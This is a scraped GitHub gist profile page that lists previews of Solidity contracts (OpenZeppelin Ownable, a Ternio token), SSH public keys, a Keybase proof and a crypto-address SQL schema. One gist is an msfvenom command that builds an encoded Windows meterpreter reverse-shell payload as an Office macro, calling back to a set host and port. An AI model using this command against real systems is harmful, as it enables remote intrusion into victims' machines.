Skip to content

Instantly share code, notes, and snippets.

View kingassune's full-sized avatar
🀄
Focusing

Dontrail Cotlage kingassune

🀄
Focusing
  • Assune Think Tank
  • San Diego, CA
  • X @cotlage
View GitHub Profile
@kingassune
kingassune / .deps...npm...@openzeppelin...contracts...access...Ownable.sol
Created August 10, 2021 16:56
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.4+commit.c7e474f2.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
@kingassune
kingassune / .deps...npm...@openzeppelin...contracts...access...Ownable.sol
Created August 10, 2021 15:31
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.4+commit.c7e474f2.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.119.219 LPORT=443 -e x86/shikata_ga_nai -f vba-exe
@kingassune
kingassune / Tern.sol
Created June 24, 2020 18:52
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.6+commit.6c089d02.js&optimize=false&gist=
pragma solidity ^0.6.2;
// ----------------------------------------------------------------------------
// 'TERN' token contract
//
// Deployed to : 6/19/2020
// Symbol : TERN
// Name : Ternio
// Total supply: 100000000.
// Decimals : 18
@kingassune
kingassune / Tern.sol
Created June 22, 2020 22:34
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.10+commit.00c0fcaf.js&optimize=false&gist=
pragma solidity ^0.6.2;
// ----------------------------------------------------------------------------
// 'TERN' token contract
//
// Deployed to : 6/19/2020
// Symbol : TERN
// Name : Ternio
// Total supply: 100000000.
// Decimals : 18
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC87KxO0HM/8y4tNNYFC9KHrakNeMhC5ovB8F4owCNdsqe0L9sj4ROOzrCyfqRCbf8e3r7ozlTNluWZaZTzURzUt4Pl7DyAknQbGvC1WNe/7Q18yAoXPJoKkOR2SOff5GLZk+NuWLwKkETk9ybhwZZxC9grjmvD37ADmJHvb+I+T+KtIhPXf7D09VmW8eYll9PG8bESSTTI2HyxDWx54gF3KuUeALgR6QoMtRnPMyHXINXCiMqhYy1ADTL5Lgknf1XEO4gJd6xY3ZWEsuD8fxRMZ4VS9xIJP7NYft9I8kJZj1m3sBiMFxs88ynZRc8py0zhAnvzuxGyDMr2/laKcbtj
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMaJ4voyFcPAhC7Di2myzzCpNx6di/aIld1zVXz86BvnN6R0YdxUfpWxGLf5DHjBUC0swEbcJN2Ouilt5vNaNu4RrAAChktE9ZjDzXg7r0WlkanGIB+ysSUgLUDr3l87AgkQIdn24xBib4Mpar1LSLKKj5RKwmc9c9JQ0kxJOgWGmgiPN57XTjgVmBdwgwIW8egCJ4RvIptySIZyVKlXx5AaeY+5eHDI0Jf+cDTArrq6cOIICKm7RnUwIBPC070HQ8Sb3/6CE9yKafGge/0bIDUoqFPysWXUKjFwl/LF587cZUXUHDbhCSIZ7M2++s4wvpL/KWyy/eCOxf2MGoFsn7 root@blockcard-nodeapp

Keybase proof

I hereby claim:

  • I am kingassune on github.
  • I am massamusa (https://keybase.io/massamusa) on keybase.
  • I have a public key ASBthmnHGV0fUZAJYxiyyUsLRL0Z73c0_EEJaR-OtlWkLgo

To claim this, I am signing this object:

### Keybase proof
I hereby claim:
* I am kingassune on github.
* I am massamusa (https://keybase.io/massamusa) on keybase.
* I have a public key ASBthmnHGV0fUZAJYxiyyUsLRL0Z73c0_EEJaR-OtlWkLgo
To claim this, I am signing this object:
ubuntu@ip-172-31-91-46:~$ cat bifrost.sql
CREATE TYPE chain AS ENUM ('bitcoin', 'ethereum');
CREATE TABLE address_association (
chain chain NOT NULL,
address_index bigint NOT NULL,
/* bitcoin 34 characters */
/* ethereum 42 characters */
address varchar(42) NOT NULL UNIQUE,
stellar_public_key varchar(56) NOT NULL UNIQUE,